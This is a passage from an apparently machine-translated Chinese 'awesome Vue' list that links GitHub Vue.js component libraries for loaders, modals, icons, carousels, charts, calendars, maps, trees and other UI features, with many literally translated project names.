- [Vue正在进行的路径](https://github.com/Akryum/vue-progress-path)- 可自定义的进度指示器和支持任何自定义SVG路径的微调器.
- [vue-blockui](https://github.com/realdah/vue-blockui)- 类似于jquery blockUI的vue 2的BlockUI可用于加载屏幕.
- [史诗的宝库](https://github.com/epicmaxco/epic-spinners)- 易于使用的css spinners集合与vue.js集成.
- [SVG-进度条](https://github.com/chenxuan0000/svg-progress-bar)- Vue.js的简单进度条.
- [Vue加载叠加](https://github.com/ankurk91/vue-loading-overlay)- 微小的全屏加载指示器
- [Vue装载机](https://github.com/Hokid/vue-loaders)- vue包装器[loaders.css](https://github.com/ConnorAtherton/loaders.css)
- [Vue - 承诺 - BTN](https://github.com/STUkh/vue-promise-btn)- 用于异步按钮 (或任何其他标签) 的小巧而强大的工具,可以锁定花哨的内置微调器
- [vue-spinkit](https://github.com/TonPC64/vue-spinkit)- 🌈使用CSS为VueJS动画的加载指示符集合
- [vue2形式加载](https://github.com/hussam-m/vue2-form-loading)- VueJS指令可以与表单一起使用,以便在下一页加载时禁用提交按钮
- [Vue元件装载](https://github.com/biigpongsatorn/vue-element-loading)- ⏳在容器内或Vue.js全屏加载
- [TB-骨架](https://github.com/anthinkingcoder/tb-skeleton)- Vue.js的骨架屏幕加载
#### 进度条
*页面顶部的细长进度条*
- [Vue-进度](https://github.com/hilongjw/vue-progressbar)- vue的轻量级进度条.
- [vue2加载条](https://github.com/BosNaufal/vue2-loading-bar)- 最简单的Youtube就像Vue 2的加载条组件一样.
- [Vue顶正在进行](https://github.com/dalphyx/vue-top-progress)- Vue.js的又一个顶级进度加载条组件.
- [vue-nprogress](https://github.com/vue-bulma/nprogress)- 进度条基于Vue的nprogress.
- [Vue正在进行按钮](https://github.com/websmurf/vue-progress-button)- Vue.js 2.x动画按钮组件.
- [Vue-简单进度](https://github.com/dzwillia/vue-simple-progress)- Vue.js的简单灵活的进度条
- [Vue-组件装载](https://github.com/val-bubbleflat/vue-component-loading)- 管理每个组件内的加载状态,并使用进度条显示全局加载状态.
### 提示
工具提示/弹出窗口
- [V-提示](https://github.com/Akryum/vue-tooltip)- 使用Vue 2.x轻松完成工具提示.
- [Vue大饱眼福组分](https://github.com/antongorodezkiy/vue-popper-component)- Vue.js的Popper.js指令
- [Vue指导性,提示](https://github.com/hekigan/vue-directive-tooltip)- 简单,灵活的工具提示指令 (基于Popper.js) [](https://vuejs.org)
- [vue-popperjs](https://github.com/RobinCK/vue-popper)- 基于VueJS 2.x popover组件[popper.js](https://popper.js.org/)
- [vue-tooltipster](https://github.com/cpfarher/vue-tooltipster)- 基于VueJS 2.x工具提示组件[tooltipster.js](http://iamceege.github.io/tooltipster/). 支持html内容,悬停和悬停+点击事件.
### 覆盖
*叠加/模态/警报/对话框/灯箱/弹出窗口*
- [vuedals](https://github.com/javisperez/vuedals)- 具有单个组件实例的多个模态窗口的VueJS (2.x) 插件.
- [甜模态-Vue](https://github.com/adeptoas/sweet-modal-vue)- 最模仿库的最甜蜜的库. 现在可用于Vue.js.
- [Vue-JS-模式](https://github.com/euvl/vue-js-modal)- 易于使用,高度可定制,移动友好的Vue.js 2.0+模式与0依赖项.
- [vudal](https://github.com/Egorvah/vudal)- vue.js的模态窗口
- [vodal](https://github.com/chenjiahan/vodal)- 带动画的vue模式.
- [Vue-图像收藏夹](https://github.com/pexea12/vue-image-lightbox)- Vue图像灯箱/图库,可以很好地显示图像.
- [vue2-simplert](https://github.com/mazipan/vue2-simplert)- Vue 2简单警报组件 (SweetAlert Inspired) 作者: Irfan Maulana
- [Vue的语意模态](https://github.com/David-Desmaisons/Vue-Semantic-Modal)- 没有jQuery依赖的Vue 2 Semantic-UI模态组件
- [v-img](https://github.com/crowdbotics/v-img)- 易于安装图库.
- [Vue-对话框拖动](https://github.com/emiliorizzo/vue-dialog-drag)- 可拖动对话框
- [Vue亚语意态](https://github.com/qgp9/vue-ya-semantic-modal)- Vue2的另一个语义模式组件,没有Jquery但有Vue过渡
- [Vue-纯收藏夹](https://github.com/DCzajkowski/vue-pure-lightbox)- 非常简单的灯箱插件,没有任何依赖 - 只有Vue!🖼
- [V-观众](https://github.com/mirari/v-viewer)- 用于vue的图像查看器组件,支持旋转,缩放,缩放等基于[viewer.js](https://github.com/fengyuanchen/viewerjs)
- [Vue,消息框](https://github.com/zhangxiang958/vue-messageBox)- Vue上简单且按订单生产的消息框组件.
- [vuejs-对话](https://github.com/Godofbrowser/vuejs-dialog)- 轻量级,基于承诺的警报,提示和确认对话框.
- [@ hscmap/Vue窗口](https://github.com/michitaro/vue-window)- 用于vue2的Window UI组件.
- [Vue画廊](https://github.com/RobinCK/vue-gallery)- VueJS响应和可定制的图像和视频库,轮播和灯箱,针对移动和桌面Web浏览器进行了优化. 基于blueimp-gallery
- [Vue-SwaI位](https://github.com/anteriovieira/vue-swal)- 用于将SweetAlert与Vuejs集成的小包装器. (与SSR兼容)
- [Vue模态的对话框](https://github.com/hjkcai/vue-modal-dialogs)- ✨宣传自己的对话!
- [Vue-IMG-视图](https://github.com/la7ender/vue-img-view)- Vue.js的插件,您可以在任何地方拖动/查看/旋转图片
- [vue-modaltor](https://github.com/davodaslanifakor/modaltor)- vuejs的最先进的可配置模态组件
- [V型模式,背景](https://github.com/nash403/v-modal-backdrop)- vue的简单通用背景组件
- [Vue可爱的模态](https://github.com/dillonchanis/vue-cute-modal)- 用于Vue应用程序的简单易用的Modal组件.
- [V-对话](https://github.com/TerryZ/v-dialogs)- 一个简单而强大的对话框,包括基于Vue2.x的模态,警报,掩码和Toast模式
- [Vue画廊,幻灯片](https://github.com/KitchenStories/vue-gallery-slideshow)- VueJS的响应式图库组件
- [Vue-A11Y-对话](https://github.com/morkro/vue-a11y-dialog)- 可访问对话框的Vue.js组件包装器[`a11y-dialog`](https://github.com/edenspiekermann/a11y-dialog).
- [Vue-滑出式面板](https://github.com/officert/vue-slideout-panel)- VueJS的可堆叠面板组件
- [V-画廊](https://github.com/TerryZ/v-gallery)- 用于显示图像的Vue2插件`gallery`要么`carousel`
- [vue2图像加载器](https://github.com/leepyng/vue2-image-loader)- vue2的图像lazyLoad加载程序组件
### 视差
- [Vue视差](https://github.com/vue-comps/vue-parallax)- 滚动比窗口慢的图像以创建整洁的光学效果.
- [vue-parallaxy](https://github.com/apertureless/vue-parallax)- 用于视差图像滚动效果的Vue.js组件.
- [Vue小鼠视差](https://github.com/Aminerman/vue-mouse-parallax)- 一个简单易用的鼠标视差组件 - 使用Vue.js制作
### 图标
- [Vue - 真棒](https://github.com/Justineo/vue-awesome)- 使用内联SVG的Vue.js的Font Awesome组件.
- [Vue材料设计,图标](https://gitlab.com/robcresswell/vue-material-design-icons "vue-material-design-icons on GitLab")- 一组SVG Material Design图标作为单个文件组件.
- [Vue图标的字体](https://github.com/ganl/vue-icon-font)- Vuejs的iconfont插件 (支持Font-class和Symbol) .
- [vue-ionicons](https://github.com/mazipan/vue-ionicons)- 来自Ionic Team的Vue Icon Set组件.
- [vue-ico](https://github.com/paulcollett/vue-ico)- Vue的简单易用图标,支持嵌入式浏览器和选择性捆绑
- [mdi-vue](https://github.com/therufa/mdi-vue)- Vuejs的Material Design Icon组件
- [vue-fontawesome](https://github.com/FortAwesome/vue-fontawesome)- Font Awesome 5 Vue组件
- [G-图标](https://github.com/nash403/g-icon)- svg图标的简单图标组件 (与Font Awesome类似的字体工具包兼容)
- [Vue-简单线图标](https://github.com/nkoik/vue-simple-line-icons)- Vuejs的简单线图标组件
- [Vue国标志](https://github.com/P3trur0/vue-country-flag)- 国家标志图标的Vue组件
- [维康](https://github.com/Lt0/vicon)- Vicon是vue的简单iconfont组件.
- [md-svg-vue](https://github.com/IPRIT/md-svg-vue)- Google为Vue.js和Nuxt.js提供的Material Design Icons (服务器端支持 (带缓存) ,内联svg渲染,官方图标名称)
### 菜单
- [Vue,手风琴](https://github.com/zeratulmdq/vue-accordion)- Vue.js的简单手风琴导航菜单组件.
- [Vue-JS-下拉](https://github.com/euvl/vue-js-dropdown)- Vue.js 2下拉菜单组件. 轻便,易于使用和扩展,无需外部设备.
- [Vue,滑出式](https://github.com/vouill/vue-slideout)- Vue实施流行的图书馆[滑出](https://github.com/Mango/slideout)
- [Vue-快速菜单](https://github.com/AshleyLv/vue-quick-menu)- 这是基于vue.js2的Web导航组件.
- [@ hscmap/Vue菜单](https://github.com/michitaro/vue-menu)- vue2的菜单/上下文菜单组件.
- [Vue路由器-NAV](https://github.com/classicalconditioning/vue-router-nav)- 呈现vue-router路由的简约响应式导航栏.
- [Vue抽屉布局](https://github.com/hjl19911127/vue-drawer-layout)- 像Android这样的简单DrawerLayout组件适用于Vue.js.
- [Vue - 简单的菜单](https://github.com/RGRU/vue-simple-menu)- 具有一组基本功能的简单菜单组件,在80%的情况下都可以使用
- [Vue树导航](https://github.com/MisRob/vue-tree-navigation)- 具有vue-router支持的Vue.js 2树导航
- [BP-vuejs,下拉](https://github.com/borisbutenko/bp-vuejs-dropdown)- Vuejs => 2下拉列表. 易于使用,无需外置,可选.
- [Vue,布尔玛,手风琴](https://github.com/Lunrtick/vue-bulma-accordion)- 简单,易于配置的手风琴或可折叠风格的Bulma定制或内置图标可用
- [v-selectmenu](https://github.com/TerryZ/v-selectmenu)- 适用于Vue2的简单,易用和高度自定义的菜单解决方案.
### 减号输入
- [减去加输入](https://github.com/manju16832003/v-minusplusinput)- 带正号的数字输入;包含在Vue.js v1和v2中.
### 圆盘传送带
- [Vue易滑块](https://github.com/shhdgit/vue-easy-slider)- Vue.js的滑块组件
- [Vue -1-转盘](https://github.com/lsycxyj/vue-l-carousel)- Vue.js v2.x +的响应式轮播 (即滑块或滑块) 组件.
- [Vue - 真棒,刷卡](https://github.com/surmon-china/vue-awesome-swiper)- Vue.js的滑动 (滑动) 组件 (1.x~2.x) .
- [Vue - 洛里](https://github.com/vue-bulma/lory)- 基于lory的Vue Slider组件.
- [Vue,光滑](https://github.com/staskjs/vue-slick)- Slick-carousel的Vue组件.
- [vue-flickity](https://github.com/drewjbartlett/vue-flickity)- Flickity.js的Vue组件.
- [Vue传送带-3D](https://github.com/wlada/vue-carousel-3d)- Vue Carousel 3D - Vue.js的美丽,灵活和触摸支持的3D Carousel.
- [Vue传送带](https://github.com/SSENSE/vue-carousel)- 适用于Vue.js的灵活,反应灵敏,触摸友好的旋转木马.
- [Vue-的CoverFlow](https://github.com/OrangeXC/vue-coverflow)- vue2.x coverflow组件.
- [Vue敏捷](https://github.com/lukaszflorczak/vue-agile)- 受Slick启发的旋转木马组件,仅用Vue.js和vanilla JS编写.
- [Vue纤巧滑盖](https://github.com/viktorlarsson/vue-tiny-slider)- 由Ganlanyuan创建的旋转木马组件,用Vue.js编写. 没有jQuery. 适用于IE8 +.
- [vue2文本,泳道](https://github.com/mubaidr/vue-swimlane)- Vue.js的Text Swimlane插件
- [Vue画面碰擦](https://github.com/rap2hpoutre/vue-picture-swipe)- 由照片划线支持的Vue Picture Swipe Gallery (带有缩略图,延迟加载和滑动的图像库) .
- [vue2-siema](https://github.com/sainf/vue2-siema)- 用于非常小的Siema旋转木马/滑块库的插件包装.
- [Vue磁通](https://github.com/deulos/vue-flux)- 使用Vuejs 2开发的图像滑块,开启了16个很酷的过渡效果.
### 图表
- [Vue莫里斯](https://github.com/bbonnin/vue-morris)- 包装Morris.js的VueJS组件.
- [Vue,图表](https://github.com/haydenbbickerton/vue-charts)- Vue.js的Google Charts插件.
- [vue-chartjs](https://github.com/apertureless/vue-chartjs)- Chart.js的Vue.js包装器.
- [六六六-Vue,图表](https://github.com/hchstera/vue-charts)- 基于ChartJs的Vue2.0包装器.
- [vue-echarts](https://github.com/Justineo/vue-echarts)- Vue.js的ECharts组件.
- [vuetrend](https://github.com/QingWei-Li/vue-trend)- Vue.js简洁优雅的火花线条.
- [vue-highcharts](https://github.com/weizhenye/vue-highcharts)- Vue的Highcharts组件.
- [vue-echarts-v3](https://github.com/xlsdg/vue-echarts-v3)- ECharts.js (v3.x +) 的Vue.js (v2.x +) 组件包装.
- [Vue,图表制作](https://github.com/lakb248/vue-chartist)- Chartist的Vue.js 2.0组件包装.
- [g2-vue](https://github.com/fireyy/g2-vue)- 工厂包装,可在Vue组件中轻松使用G2.
- [vuebars](https://github.com/DeviaVir/vue-bar)- Vue.js的简单,优雅的火花棒.
- [Vue-D3-网络](https://github.com/emiliorizzo/vue-d3-network)- 使用d3-force绘制网络图形的Vue组件
- [vue2vis](https://github.com/alexcode/vue2vis)- Vue2包装[Visjs](http://visjs.org).
- [vue-c3](https://github.com/chryb/vue-c3)- c3图表的可重用vue组件
- [vue-d2b](https://github.com/d2bjs/vue-d2b)- d2b图表的Vue组件. (包括轴,饼图,sankey和旭日形图)
- [VueChart](https://github.com/SeregPie/VueChart)- Chart的一个非常简单的Vue包装器.
- [vue-chartkick](https://github.com/ankane/vue-chartkick)- 使用一行Vue创建漂亮的JavaScript图表
- [d3vue](https://github.com/ignoreintuition/d3vue)- 用于在VueJS中创建反应性数据可视化的D3插件
- [vue2-芙莱蓓](https://github.com/JustSteveKing/vue2-frappe)- 围绕Frappe Charts for VueJS的简单包装
- [Vue - 谷歌 - 图](https://github.com/devstark-com/vue-google-charts)- Google Charts lib的Reactive Vue.js包装器
- [Vue - 图](https://github.com/juijs/vue-graph)- Vue.js中仪表板实现的数据可视化库
### 时间
*显示时间/日期/年龄*
- [vue-timeago](https://github.com/egoist/vue-timeago)- Vue的一个微小的timeago组件.
- [Vue-矩jalaali](https://github.com/saman/vue-moment-jalaali)- Jalaali Moment.js过滤您的Vue.js项目.
- [Vue-倒计时定时器](https://github.com/sagarkbhatt/vuejs-countdown-timer)- 增加了时区转换支持.
- [Vue模拟时钟范围](https://github.com/f/vue-analog-clock-range)- 模拟时钟范围以显示时差.
- [Vue矩-LIB](https://github.com/julon/vue-moment-lib)- 使用相同的momentjs API的简单Vue.js 2.0 MomentJS库 (过滤器和全局变量) .
- [vuejs-倒计时](https://github.com/getanwar/vuejs-countdown)- vue js 2.0的简单倒数计时器组件
- [vue2翻转,倒计时](https://github.com/philipjkim/vue2-flip-countdown)- 倒数计时器,具有Vue 2.x的翻转效果
### 日历
*在日历中显示不可编辑的事件*
- [vue-fullcalendar](https://github.com/Wanderxx/vue-fullcalendar)- Vue日历fullCalendar. 不需要jQuery. 安排活动管理.
- [Vue事件日历](https://github.com/GeoffZhu/vue-event-calendar)- Vue2的简单事件日历,除了Vue2之外没有依赖项.
- [Vue日历选取器](https://github.com/FranckFreiburger/vue-calendar-picker)- 用于事件显示,期间选择和日期选择器的轻量级日历组件.
- [Vue - 农历日历](https://github.com/KimWooHyun/vue-lunar-calendar)- 农历的vue组件. 使用Moment.js进行日期操作.
- [Vue - 简单的日历](https://github.com/richardtallent/vue-simple-calendar)- 基于Flexbox的Vue月历日程表;支持多日活动,本地化,假日表情符号,拖放. 没有依赖.
- [vue2日历](https://github.com/Trekels/vue2-calendar)- 一个简单的完整日历组件,旨在实现灵活性和轻量级.
- [Vue-jlunar,日期选择器](https://github.com/tuhe32/vue-jLunar-datePicker)- 具有节日和节气的中国月球拣选器组件.
- [Vue全日历](https://github.com/CroudSupport/vue-fullcalendar)- 一套完整的[fullcalendar.io](https://fullcalendar.io)Vue 1和2的包装器
- [v日历](https://github.com/nathanreyes/v-calendar)- 动画日历/日期选择器,显示简单和重复日期的区域,指标和日期弹出窗口.
- [Vue无限日历](https://github.com/laleshii/vue-infinite-calendar)- Vue 2的简单无限日历实现
- [Vue日历](https://github.com/kylin-z/vue-calendar)- Vue 2.1.5+的简单日历组件,支持自定义内容. 没有依赖.
- [vue2事件日历](https://github.com/kitwon/vue2-event-calendar)- Vue2的事件日历,支持自定义事件项和日历标题.
- [vue2-日期选择无限](https://github.com/leepyng/vue-datepicker-infinite)- Vue2的无限datePicker,易于使用且无依赖关系.
- [vue2槽日历](https://github.com/icai/vue2-calendar)- vue 2日历,支持月球或日期事件的datepicker组件,bootstrap样式.
- [类星体日历](https://github.com/stormseed/quasar-calendar)- 使用Quasar框架的vue.js日历,实现月度,多日和议程视图.
- [vue2,日期选择器](https://github.com/mengxiong10/vue2-datepicker)- Vue2的漂亮的datepicker/datetimepicker组件
- [vue-pikaday](https://github.com/enrian/vue-pikaday)- VueJS包装器组件[Pikaday](https://github.com/dbushell/Pikaday)日期选择器
### 地图
- [vue2 - 谷歌 - 地图](https://github.com/xkjyeah/vue-google-maps)- 谷歌地图组件为vue与双向数据绑定.
- [vue2小叶](https://github.com/KoRiGaN/Vue2Leaflet)- Leaflet地图的Vue 2组件.
- [vue-mapbox-gl](https://github.com/phegman/vue-mapbox-gl)- Mapbox GL JS的Vue 2.x组件
- [Vue,Yandex的,地图](https://github.com/PNKBizz/vue-yandex-map)- Yandex Maps的Vue 2.x组件
- [Vue - 百度地图](https://github.com/Dafrok/vue-baidu-map)- 百度地图的Vue 2.x组件.
- [Vue,等值线](https://github.com/voluntadpear/vue-choropleth)- Vue 2.x组件显示等值区域图.
- [vuelayers](https://github.com/ghettovoice/vuelayers)- Vue 2组件可与OpenLayers配合使用.
- [Vue - 谷歌地图](https://github.com/Akryum/vue-googlemaps)- 用于集成Google地图的Vue 2.x组件.
- [Vue静态地图](https://github.com/eperedo/vue-static-map)- Vue 2.x简单组件,用于生成静态谷歌地图
### 音频视频
- [Vue公司,APlayer](https://github.com/SevenOutman/vue-aplayer)- : cake: Vue 2.x易于配置的音乐播放器.
- [Vue音频](https://github.com/shershen08/vuejs-sound-player)- 音频标签包装;Vue 2.x的声音播放器组件
- [vue-dplayer](https://github.com/sinchang/vue-dplayer)- 基于DPlayer的Vue 2.x视频播放器组件.
- [vue-canvasvideo](https://github.com/chrishurlburt/vue-canvasvideo)- 用于视频背景的Vue 2.x组件和iOS/Safari上的自动播放视频.
- [Vue音乐](https://github.com/petsgre/music)- 基于html5的Vue组件`<audio>`.
- [Vue-视听](https://github.com/staskobzar/vue-audio-visual)- Vue HTML5音频可视化组件.
- [vue-plyr](https://github.com/redxtech/vue-plyr)- 用于plyr视频和音频播放器的一组Vue组件.
- [V-播放](https://github.com/TerryZ/v-playback)- 一个Vue2插件,使视频播放更容易.
- [Vue音频记录仪](https://github.com/grishkovelli/vue-audio-recorder)- Vue.js的录音机. 它允许在服务器上创建,播放,下载和存储记录
### 无限滚动
- [Vue无限加载](https://github.com/PeachScript/vue-infinite-loading)- Vue.js 1.0和Vue.js 2.0的无限滚动插件.
- [Vue - 无限滚动](https://github.com/egoist/vue-mugen-scroll)- Vue.js 2的无限滚动组件.
- [Vue无限滚动](https://github.com/ElemeFE/vue-infinite-scroll)- vue.js的无限滚动指令
- [Vue环](https://github.com/lookstudios/vue-loop)- Vue.js 2的无限内容循环组件.
- [Vue,滚动](https://github.com/wangdahoo/vue-scroller)- Vue.js 2的无限内容循环组件,包括"pull-to-refresh","infinite-loading","snaping-scroll"等功能.
- [Vue无限列表](https://github.com/legeneek/vue-infinite-list)- 无限列表mixin可以为Vue.js 2回收dom
- [Vue无限-滑杆](https://github.com/biigpongsatorn/vue-infinite-slide-bar)- ∞无限滑杆组件.
- [Vue虚拟无限滚动](https://github.com/zuolei828/vue-virtual-infinite-scroll)- 基于Iscroll的vue2组件,支持具有高性能滚动,无限加载和拉动刷新的大数据列表.
### 拉来刷新
- [Vue拉刷新](https://github.com/lakb248/vue-pull-refresh)- Vue.js 2.0的pull to refresh组件.
- [Vue拉至](https://github.com/stackjie/vue-pull-to)- 更多的下拉刷新和上拉加载以及Vue.js组件的无限滚动.
- [Vue数据加载](https://github.com/bedlate/vue-data-loading)- 无限滚动和下拉/上载以加载数据的另一个组件.
### 降价
- [Vue-降价](https://github.com/miaolz123/vue-markdown)- Vue强大而高速的Markdown解析器.
- [vue-mavonEditor](https://github.com/hinesboy/mavonEditor)- 基于Vue的降价编辑器,支持各种个性化功能.
- [Vue,简单降价](https://github.com/Vivify-Ideas/vue-simple-markdown)- Vue的简单高速Markdown解析器.
- [Vue-降价](https://github.com/nikitamarcius/vue-markdown)- 包装纸[降价-JS](https://github.com/evilstreak/markdown-js). 轻巧,简单,功能强大.
- [vue-simplemde](https://github.com/F-loat/vue-simplemde)- 包装纸[simplemde](https://github.com/sparksuite/simplemde-markdown-editor). 为初学者和专家提供令人愉快的编辑. 具有内置自动保存和拼写检查功能.
### PDF
- [vue-pdf](https://github.com/FranckFreiburger/vue-pdf)- 基于mozilla的PDF.js的pdf查看器
### 树
- [Vue.D3.tree](https://github.com/David-Desmaisons/Vue.D3.tree)- 基于的树视图[D3.js](https://d3js.org/)
- [Vue JSON的树视图](https://github.com/arvidkahl/vue-json-tree-view)- Vue.js的JSON树视图组件
- [Vue树](https://github.com/halower/vue2-tree)- Vue.js 2.X的树组件.
- [白酒树](https://github.com/amsik/liquor-tree)- 惊人的Vue树组件
- [Vue树的UI](https://github.com/wyr1227/vue-trees)- Vue上的树Ui基础.
- [Bosket](https://github.com/elbywan/bosket)- 前端框架 (Vue,React,Angular和Riot) 的树视图组件的集合.
- [芭蕉-00 /树组分](https://github.com/plantain-00/tree-component)- reactjs,angular和vuejs树组件.
- [SL-Vue树](https://github.com/holiber/sl-vue-tree)- Vue.js的简单可自定义可拖动树组件
- [Vue-拖动嵌套树](https://github.com/phphe/vue-draggable-nested-tree)- Vuejs2的可自定义可拖动树视图组件[@phphe](https://github.com/phphe)
- [vuejs树](https://github.com/scalia/vuejs-tree)- 高度可定制的VueJs树查看器
- [vue-jstree](https://github.com/zdy1988/vue-jstree)- Vue2的树插件,带有漂亮的图标和拖放功能
### 社交分享
- [Vue - 社会共享](https://github.com/nicolasbeauvais/vue-social-sharing)- 用于共享社交网络链接的Vue.js组件,与Vue.js 1.X或2.X一起使用.
- [vue-goodshare](https://github.com/koddr/vue-goodshare)- 具有漂亮按钮设计的社交分享的Vue.js组件. 简单的安装,广泛的文档,开发人员支持,SEO友好,干净的代码,没有脚本跟踪页面上的用户活动,高速. 使用Vue.js 2.x.
- [Vue - 社会化媒体共享](https://github.com/mbj36/vue-socialmedia-share)- Vue.js组件,用于与Vue 2.X共享社交网络的链接
- [Vue画面,sharesheet](https://github.com/Onatcer/vue-picture-sharesheet)- Vue Picture Sharesheet Component受到Apple新闻室图片分享表的启发
### 二维码
- [vue-qriously](https://github.com/theomessin/vue-qriously)- 使用qrious在HTML Canvas上绘制QR码的Vue.js 2组件.
- [vue-qart](https://github.com/superman66/vue-qart)- que 2.x for qart.js的指令
- [Vue-QR码阅读器](https://github.com/gruhn/vue-qrcode-reader)- Vue.js 2组件,用于检测和解码来自摄像机流的QR码.
### 搜索
- [Vue熔丝](https://github.com/shayneo/vue-fuse)- 模糊搜索库的轻量级插件,Fuse.js
- [vue-instantsearch](https://community.algolia.com/vue-instantsearch/)- 使用创建即时搜索体验的终极工具箱[Algolia](https://www.algolia.com/).
- [vue-innersearch](https://github.com/InnerSearch/vue-innersearch)- Elasticsearch的Vue.js包装器
### 杂
- [Vue具象](https://github.com/eliep/vue-avatar)- vue.js的头像组件.
- [Vue触摸纹波](https://github.com/surmon-china/vue-touch-ripple)- 触摸Vue.js (1.x~2.x) 的纹波分量.
- [Vue,打字员](https://github.com/cngu/vue-typer)- 模拟用户键入,选择和删除文本的Vue组件.
- [Vue键盘](https://github.com/MartyWallace/vue-keyboard)- Vue 2虚拟键盘组件.
- [vue-twentytwenty](https://github.com/mhayes/vue-twentytwenty)- 图像比较组件,适用于Vue.js 2.x.
- [Vue-cookie的法律](https://github.com/apertureless/vue-cookie-law)- Vue.js 2.x的Cookie信息插件
- [Vue-的gravatar](https://github.com/JiriChara/vue-gravatar)- Vue.js 2.x的死简单的重力组件
- [vue-clipboard2](https://github.com/Inndy/vue-clipboard2)- 一个易于使用的Clip.js绑定Vue.js 2.x.
- [Vue,烧录卡](https://github.com/cuduy197/vue-flashcard)- 带有Vue.js 2.x动画的FLashcard组件: 灯泡:
- [Vue截形,塌陷](https://github.com/kavalcante/vue-truncate-collapsed)- 一个简单的组件,可截断您的文本,并为Vue.js 2.x添加"Read More/Show Less"可点击
- [Vue看板](https://github.com/BrockReece/vue-kanban)- 灵活的拖放看板板组件
- [Vue字母具象](https://github.com/aidewoode/vue-letter-avatar)- vue.js的简单而优雅的字母头像组件
- [vue-highlightjs](https://github.com/metachris/vue-highlightjs)- 使用highlight.js突出显示语法
- [V-剪贴板](https://github.com/euvl/v-clipboard)- 简单,小巧且易于使用的指令将模型保存到剪贴板 (小于2kb缩小,无依赖性)
- [Vue隐形-验证码](https://github.com/MicroDroid/vue-invisible-recaptcha)- Google的Invisible reCAPTCHA超级轻松集成
- [Vue嵌](https://github.com/Gomah/vue-embed)- 嵌入组件基于Vue 2.x的embed.js,这是一个嵌入表情符号,媒体,地图,推文,要点,代码,服务和降价的组件.
- [Vue粒子](https://github.com/creotip/vue-particles)- 粒子背景的Vue.js组件
- [Vue-uniq的-IDS](https://github.com/termosa/vue-uniq-ids)- Vue.js 2.x插件,有助于使用与id相关的属性,没有副作用
- [vue-multivue](https://github.com/drewjbartlett/vue-multivue)- 在同一页面上使用同一类的多个vue应用程序.
- [Vue词缀](https://github.com/eddiemf/vue-affix)- 一个Vue.js 2.x插件,在滚动时在窗口中粘贴一个元素,类似于Bootstrap Affix,但更简单,更智能
- [X-浏览器的更新,Vue公司](https://github.com/OXOYO/X-Browser-Update-Vue)- Vue.js浏览器更新插件.
- [Vue查询建设者](https://github.com/dabernathy89/vue-query-builder)- 用于使用嵌套条件构建复杂查询的UI组件.
- [Vue-信息卡](https://github.com/karakanb/vue-info-card)- 简洁美观的卡片组件,优雅的火花线和CSS3翻转动画.
- [V-离线](https://github.com/vinayakkulkarni/v-offline)- 简单,小巧且易于使用的Vue应用程序离线和在线事件检测 (小于390b)
- [Vue字云](https://github.com/SeregPie/VueWordCloud)- 一个词云生成器.
- [Vue-平坦表面着色器](https://github.com/grzhan/vue-flat-surface-shader)- 一个Vue组件[平面着色器](https://github.com/wagerfield/flat-surface-shader)
- [vue-easteregg](https://github.com/ddgll/vue-easteregg)- Easey为你的vue应用添加一个easteregg (默认使用konami代码)
- [Vue条码扫描器](https://github.com/noomerzx/vue-barcode-scanner)
- [vue-heatmapjs](https://github.com/BrockReece/vue-heatmapjs)- 用于跟踪和可视化鼠标活动的Vue指令
- [Vue迷宫](https://github.com/meganetaaan/vue-maze)- 作为Vue.js组件制作的itty-bitty迷宫游戏
- [Vue拖动,验证](https://github.com/AshleyLv/vue-drag-verify)- 这是一个vue组件,可以滑动解锁以进行登录或注册.
- [Vue气球](https://github.com/kevinwarne/vue-balloon)- 用于在页面角落创建固定的可缩放容器的Vue组件. 类似于gmail中使用的邮件组合包装器.
- [Vue贴纸](https://github.com/KamilOcean/vue-sticker)- 任何方向的贴纸效果
- [V-评级](https://github.com/vinayakkulkarni/v-rating)- 使用VueJS制作的Semantic-UI中的评级组件 (\<500B gzipped,超快速)
- [Vue化内容占位符](https://github.com/michalsnik/vue-content-placeholders)- 可组合的组件,用于在vue中呈现像facebook这样的虚假 (渐进) 内容
- [Vue页面设计师](https://github.com/fireyy/vue-page-designer)- 用于拖放的Vue组件,用于设计和构建移动网站.
- [Vue,创用CC](https://github.com/julon/vue-creativecommons)- CreativeCommons.org Vue.js组件库.
- [Vue状态指示器](https://github.com/coderdiaz/vue-status-indicator)- Vue.js组件,将状态指示器显示为彩色圆点.
- [Vue - 谷歌 - 站长](https://github.com/mazipan/vue-google-adsense)- 具有InFeed和InArticle Ads支持的Vue.js Google Adsense组件
- [表情符号-Vue](https://github.com/shershen08/emoji-vue)- Vue.js项目的表情符号😎👌🏻下拉列表
- [Vue,棋盘](https://github.com/vitogit/vue-chessboard)- Chessboard vue组件,用于加载位置,创建位置和查看威胁.
- [Vue,思维导图](https://github.com/anteriovieira/vue-mindmap)- 思维模式映射的Vue组件.
- [V-货币](https://github.com/ignoreintuition/v-currency)- 用于格式化货币的Vue组件.
- [Vue,表情符号选取器](https://github.com/DCzajkowski/vue-emoji-picker)- 高度可定制的unicode表情符号选择器🔥🚀
- [Vue-8拼图](https://github.com/meganetaaan/vue-8-puzzle)- 作为Vue.js组件制作的itty-bitty幻灯片益智游戏
- [vue-e164](https://github.com/evildvl/vue-e164)- 可定制的电话格式化器,支持E.164标准
- [vue-pgn](https://github.com/deemaagog/vue-pgn)- 用于以pgn格式查看国际象棋游戏的Vue.js组件
- [Vue具象编辑器](https://github.com/fpluquet/vue-avatar-editor)- 使用清晰的用户界面调整上传的头像的大小,旋转和裁剪.
- [Vue连接监听器](https://github.com/Botre/vue-connection-listener)- Vue事件总线插件监听在线/离线更改.
- [Vue酱](https://github.com/Botre/vue-sauce)- Vue的"查看源代码"指令.
- [vue-prom](https://github.com/Botre/vue-prom)- Vue promise包装器组件.
- [数字键盘](https://github.com/viclm/numeric-keyboard)- 移动浏览器的数字键盘.
- [Vue变焦上悬停](https://github.com/Intera/vue-zoom-on-hover)- 鼠标悬停时的图像缩放
- [Vue响应图像](https://github.com/HCESrl/vue-responsive-image)- 一个Vue组件,可让您快速创建具有适用于所有设备的最佳图像源数量的响应式图像标签.
- [Vue高亮文本](https://github.com/TonPC64/vue-highlight-text)- 用于突出显示单词多个等值的Vue组件
- [Vue铸造道具](https://github.com/anteriovieira/vue-cast-props)- 提供将道具转换为常见数据类型的便捷方式.
- [vue2-heropatterns](https://github.com/JustSteveKing/vue2-heropatterns)- 一个Vue2实现,允许您将流行的英雄模式添加到任何Div
- [Vue链接](https://github.com/Developmint/vue-link)- 一个组件将它们全部链接🔗 (处理外部和内部链接相同)
- [Vue-识别网络](https://github.com/vinayakkulkarni/vue-identify-network)- ⚡️Identify您的用户正在使用什么样的互联网!
